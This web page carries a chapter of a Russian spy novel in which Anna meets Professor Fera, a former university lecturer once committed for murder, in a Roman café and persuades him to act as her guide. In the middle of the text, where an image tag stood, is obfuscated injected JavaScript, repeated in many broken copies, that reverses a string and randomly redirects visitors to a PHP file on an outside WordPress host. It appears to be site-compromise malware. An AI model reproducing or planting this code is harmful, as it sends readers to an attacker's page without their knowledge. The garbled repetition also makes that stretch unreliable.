Книги онлайн

Глава 10. Знакомство с маньяком (Римский лабиринт)

Всякий желающий лгать с толком должен лгать редко.

Лорд Харвей. «Воспоминания о правлении короля Георга Второго», т. 1, гл. 19

Ich kenne mich auch nicht und Gott soll mich auch davor behuten.

(Я себя знаю плохо, и не дай мне Бог знать себя лучше.)

Иоганн Вольфганг Гёте,

10 апреля 1829 года

2007, 7 сентября, Рим

Небольшое уютное кафе, одно из тех, в которых меню вывешивают прямо на улице, находилось всего в двух кварталах от здания, где профессор Фера некогда преподавал. По стенам были развешаны картинки со стилизованными бычьими головами разных цветов. Анна, к своему смущению, вначале приняла эти разноцветные треугольники за нижнее бельё. Стены были почему-то покрашены в розовый цвет, который, казалось, впитал в себя бесконечные пары кислого вина и жарящегося мяса. Молодые люди, студенты университета, были здесь главным украшением, а их смех, которым поочерёдно взрывался то один, то другой столик, делал это местечко уютным и весёлым.

Профессор Фера сидел в углу на веранде, выходящей на маленький аккуратный римский дворик. На вид профессору было лет шестьдесят, и он был ещё более худ, чем на сравнительно недавних фотографиях. Впрочем, он не производил впечатление человека физически больного, но скорее страдающего неврастенией. Наполовину пустой графин вина стоял на столе, а профессор Фера нервно вращал указательным пальцем по ободку бокала. Он не заметил, как к нему подошла Анна.

Она была одета просто — в белую хлопчатобумажную юбку, старомодно прикрывающую колени, и серую облегающую майку. Но это только подчёркивало красоту и стройность её фигуры. По её плечам струились тёплые золотые волосы, притягивающие взгляд.

— Профессор Фера? — улыбнулась она приветливо. — Я извиняюсь за своё опоздание.

На мгновение профессор замер. Затем, словно стряхнув с себя оцепенение, с неожиданной ловкостью поднялся со стула, чтобы приветствовать Анну. Он улыбнулся улыбкой, которая не могла скрыть его волнения и выстраданной грусти.

— Не надо, не извиняйтесь, — сказал он, пододвигая для неё кресло. — Скажите лучше, что будете пить.

У профессора было интеллигентное нервное лицо, кожа имела сероватый нездоровый оттенок, но в эту минуту щёки слегка подкрасил румянец — не то от вина, не то от волнения.

— Я бы, наверное, заказала то, что пьют здесь все, — улыбнулась Анна.

— Как вам будет угодно, — любезно произнёс профессор Фера, внимательно изучая её лицо. — Только должен предупредить — вино здесь пьют молодое, уценённое. Вам оно может не понравиться.

— Я мало понимаю в винах, — улыбнулась Анна, — поэтому вряд ли смогу отличить молодое вино от старого, а дорогое — от уценённого.

— Ну, это можно поправить, — отозвался профессор. — Винопитие имеет многовековые традиции в Риме, которые я обычно и представляю туристам.

— Вообще-то я здесь для того, чтобы изучать архитектуру, — с улыбкой напомнила ему Анна.

— В Италии архитектура неотделима от винопития, — продолжал профессор, подзывая рукой официантку. — У нас даже есть памятник их симбиозу — Пизанская башня. Люси! Люси!

К столику торопливо приблизилась молодая девушка в переднике и мини-юбке. Анна как-то сразу почувствовала, что эта девушка — славянка, скорее всего, русская или украинка.

— Принеси нам, пожалуйста, графинчик сухого белого вина, «Гави», к примеру, — сказал ей профессор. — А что вы будете кушать?

Анна только сейчас сообразила, что голодна. Она посмотрела в предложенное ей меню и остановила свой выбор на свежем хлебе с сыром, овощном салате и куске грибного пирога.

— А мне принеси салат с помидорами и оливками, мой обычный, — заключил профессор. — А на десерт — ваши кофейные пирожные, те, которые потемнее, и кофе со сливками.

Через минуту Люси принесла им ещё один графин с вином. Профессор Фера плеснул в рюмку золотистой прозрачной жидкости, взболтал, понюхал и удовлетворённо кивнул.

— Не так оно и плохо, — он налил немного вина Анне в рюмку. — Никогда не покупайте вино в бутылках — дорого. Лучше брать графинами или большими бокалами — так дешевле.

Анна взяла в руку рюмку.

— Первое, на что надо обращать внимание в вине, — продолжил профессор, — это насколько оно прозрачно, нет ли в нём осадка.

Он посмотрел на неё через золотистую жидкость, преломляющую всё в причудливые формы и одевающую Анну в солнечный свет.

Анна тем временем глядела на руки профессора. Могли ли эти тонкие пальцы быть пальцами убийцы? Она подумала, что его пальцы похожи на пальцы Толяна — такие же длинные, нервные и красивые.

— Как вы можете видеть, — профессор Фера смотрел сквозь играющую в стакане жидкость одним глазом, — это вино не вполне яркое и прозрачное, виноделец не дождался, пока закончится вторичная ферментация. Или осталось немного не переработанного сахара, или же в вино попали посторонние бактерии.

— А его безопасно пить? — насторожилась Анна.

— Не отравимся, — уверил её профессор. — Но я говорю слишком много, и всё не о том… Я так понимаю, вас более интересует римская архитектура?

Несмотря на свои попытки казаться непосредственным и весёлым, профессор был напряжён и с трудом скрывал волнение.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tockphotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-488026045-612×612-2.jpg» alt=»» class=»wp-image-7670″ width=»459″ height=»323″/>

— Да, архитектура меня интересует, профессор, — улыбнулась она. — Но, честно признаться, никогда мне не доводилось изучать её систематически. Однако после чтения вашей книги мне показалось, что если я имею отношение к строительному бизнесу, то должна хотя бы немного понимать язык камня и форм. В конце концов, однажды мне захочется выстроить дом и для себя. Я хочу знать, что делаю.

Профессор Фера вдруг понял, что слышит те самые слова, которые где-то в глубине души желал услышать все эти мрачные годы. Но кто она такая, эта Анна Грин? Ему довелось видеть немало богатых бездельников, путешествующих на бесконечные деньги родителей и не знающих, что делать со своей жизнью. Она не была на них похожа. Её лицо не носило следов распущенности, присущей прожигателям жизни. Напротив, оно было ясно, умно и глядело на всё с любопытством. Но не было оно и до конца откровенным, отметил Адриан.

— Я честно признаюсь, что не понимаю одной самой главной вещи — почему вы избрали именно меня?

— Я же говорила вам, — Анна поспешила успокоить его растущее волнение. — Я прочитала вашу книгу. А мой отец всегда говорит — надо учиться у лучших. Я считаю вас лучшим — в том, по крайней мере, что меня интересует.

Адриан замер на минуту. Он внимательно посмотрел на неё.

— Вы ведь не американка, верно? — сказал он.

— Я русская, — улыбнулась Анна. — Мой отец иммигрировал в Штаты, когда мне было десять лет. Но русский язык я не забыла.

— Люси — она тоже, кажется, русская? — заметил профессор.

— Да, я тоже так поняла, — призналась Анна.

Профессор снова помрачнел.

— Думаю, что не совсем верно построил свой вопрос. Поставлю его теперь вот как, — он наклонился ближе к ней. Его глаза заволоклись, как туманом, и он тихо произнёс:

— Я провёл семь лет в больнице для умалишённых за убийство студентки. Вы ведь знаете это? — спросил он, глядя ей прямо в глаза.

— Да, знаю, — выдавила она, с трудом выдерживая его взгляд.

— Но как? — взорвался профессор. — Как вы можете так вот обратиться к убийце?

Люди за соседними столиками покосились на него, и Адриан понизил голос:

— И как я могу поверить, что ваш отец отпустил вас на встречу с Джеком Потрошителем?

— Я сама приехала, — сказала Анна, опуская глаза, — и приехала я не на встречу с Джеком Потрошителем, а на встречу с профессором Адрианом Фера.

Адриану стало стыдно за то, что он без причины обидел её. Но и сдаваться он не хотел.

— Разве это не одно и то же? — спросил он, внимательно изучая Анну.

— Нет, — уверенно сказала она. В этот момент она испытала глубокую жалость к этому человеку. Что бы он ни сделал в своей жизни, он не был похож на злодея, зверя. Ей показалось, что в его глазах промелькнула как будто надежда.

— Скажите честно, — Адриан внимательно посмотрел в её глаза, — вы — журналист?

— Нет, — с улыбкой покачала головой Анна.

— Тогда из полиции — из Интерпола, правильно?

— Вы думаете, Интерпол должен вами интересоваться?

— А почему бы и нет?

— Должна вас в таком случае разочаровать, — улыбнулась Анна. — Я не из Интерпола. И к полиции не имею никакого отношения. Я — частное лицо, понимаете?

Профессор с минуту сидел молча. Потом снова наполнил бокалы.

— Так что же вас интересует? — спросил он.

— Я хочу знать, устроят ли вас мои условия, — просто ответила Анна. — Я хочу научиться понимать язык архитектуры — то, о чём вы пишете в книге. За это я могу платить вам две тысячи евро в неделю.

Адриан присвистнул.

— Слишком много денег для бедного гида, — покачал он головой.

— И слишком мало для профессора Фера, — добавила Анна.

— Профессора Фера давно нет, — отозвался Адриан, осушая свой бокал. — Так вы серьёзно насчёт двух тысяч в неделю?

Таких денег Адриан не зарабатывал со времён университета. В тяжёлые времена он бывал рад и одной или двум сотням.

Анна полезла в сумочку, достала оттуда конверт и протянула профессору.

— Деньги за первую неделю.

Адриан взял конверт и заглянул внутрь. Анна заметила, как лицо его изменилось, помрачнело, а кожа на нём натянулась, подчёркивая его и без того острые скулы. На мгновение Анне показалось, что на неё действительно смотрит сам Джек Потрошитель.

— Я не верю вам, — сказал он, отодвигая конверт в сторону Анны. — Вы не говорите мне всей правды.

Анна хотела остановить его руку и нечаянно опрокинула свой бокал. Вино полилось по столу, со стола — на салфетку и её белую юбку.

— Простите! — воскликнул профессор, вскакивая с места.

— Пустяки, — постаралась улыбнуться Анна. — Хорошо ещё, что мы пили белое вино.

Адриан нервно сел на стул и закурил сигарету.

— Скажите мне честно, — сказал он тихо, почти шёпотом. — Вы работаете на CDF?

— Вы опять про это? — устало выдохнула Анна. — Вы хоть объясните, что такое CDF? Я, видите ли, никогда не встречала такую комбинацию букв.

Профессор оказался ещё более странным, чем она его себе представляла. Впрочем, Анна уже давно решила, что, по большому счёту, ей совершенно всё равно, удастся ей завербовать профессора или нет. В конце концов, она играла в чужой игре.

Профессор Фера смотрел на неё очень внимательно.

— Вы что, действительно не знаете, что такое CDF?

— Простите мне моё невежество.

— CDF — это Конгрегация по вопросам доктрины и веры. Так они сейчас именуют инквизицию. Её агенты, — он смерил Анну подозрительным взглядом, — или фамилиары, как их раньше называли, доносили на еретиков, которых потом отдавали на произвол инквизиции.

— Наверное, не смогу вам представить никаких доказательств, — сказала Анна, — но я не имею никакого отношения к инквизиции. И я даже не католичка. К тому же я считала, что инквизицию давно отменили.

— Вряд ли я могу вам поверить или с вами согласиться, — отозвался профессор.

— Ну что ж, — пожала Анна плечами. — Презумпция невиновности не работает в Риме.

— Это верно, — устало согласился он.

— Тогда, — заключила Анна, — я извиняюсь за потраченное время.

«Что ж, — думала она, поднимаясь из-за стола, — на этом моя короткая римская миссия окончена — не могу же я силой навязываться этому профессору». Анна не знала, радоваться ей или печалиться, и решила отнестись к провалу по возможности равнодушно. Она краем глаза осмотрела мокрую юбку, которая теперь неприятно липла к ногам.

— Прощайте, профессор. Ещё раз извините за беспокойство, — сказала она, поднимаясь из-за стола.

— Подождите! — вскочил профессор Фера.

Они стояли теперь друг против друга, понимая, что вот сейчас их пути разойдутся и они никогда уже больше не увидятся. Ему внезапно стало стыдно, что он так грубо оттолкнул её. С какими бы намерениями ни явилась эта зеленоглазая женщина, напомнившая ему Роберту, Адриану было хорошо рядом с ней. Так беспричинно хорошо ему давно уже не было.

— Вот, — сказал он, протягивая ей конверт, — вы забыли ваши деньги!

Анна посмотрела на профессора. Если бы не обстоятельства их встречи и не знание о его ужасном прошлом, он мог бы ей, наверное, даже понравиться. У него было открытое и благородное, хотя и истерзанное лицо, высокий лоб, большие выразительные глаза.

— Пожалуйста, оставьте деньги себе, — сказала Анна с королевской грацией.

Она вдруг вспомнила евангельскую притчу о неверном, но хитром распорядителе, который, зная, что скоро его службе придёт конец, раздавал людям хозяйские деньги. Анна улыбнулась, думая о том, какую взбучку в самое ближайшее время получит от генерала Смирнова — не столько за выброшенные деньги, сколько за проваленное задание. Впрочем, босс от этого ничуть не обеднеет.

— И ещё вот что, профессор… Адриан, — добавила она, пристально глядя в его глаза. — Я надеюсь, что когда-нибудь рядом с вами ещё окажется человек, которому вы сможете доверять. А теперь прощайте.

Анна повернулась и направилась к выходу из кафе. Она сделала всё в соответствии с полученными инструкциями. «Всё к лучшему», — подумала она.

— Постойте! — крикнул вслед ей профессор Фера и поспешил к Анне. — Я не могу взять этих денег, — сказал он, догнав её у выхода из кафе. — И, если хотите и не боитесь меня, то я буду вашим гидом — я всё равно ничем не занимаюсь. А время моё — оно совершенно ничего не стоит.

Анна замерла. К худшему ли, или к лучшему, но её римские приключения ещё не закончились. Она с горечью поздравила себя с тем, что ей удалось-таки справиться с ролью шпиона — по крайней мере, на первом этапе.

— Деньги вы всё равно оставьте себе, — снисходительно приняла капитуляцию Анна.

Они договорились встретиться завтра утром, и профессор даже не вызвался проводить Анну, за что она была ему весьма благодарна — ей требовалось время, чтобы прийти в себя.

Как только Анна рассталась с Адрианом, зазвонил её сотовый телефон.

— Алло? — осторожно сказала Анна.

— Блестяще, Анна! — раздался в трубке голос-робот, за которым Анна всё-таки признала интонации босса. — Ты сделала, кажется, всё, чтобы он не клюнул на твою удочку. А он всё равно клюнул. Тебе везёт!

— Я не понимаю… — начала Анна.

— И не надо ничего понимать, — прервал её генерал. — Блестящая работа!

— Спасибо, — пробормотала Анна и чуть не добавила: «Игорь Семёнович».

— Have fun! — механическим голосом сказала трубка.

You Might Also Like

No Comments

    Leave a Reply

    Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.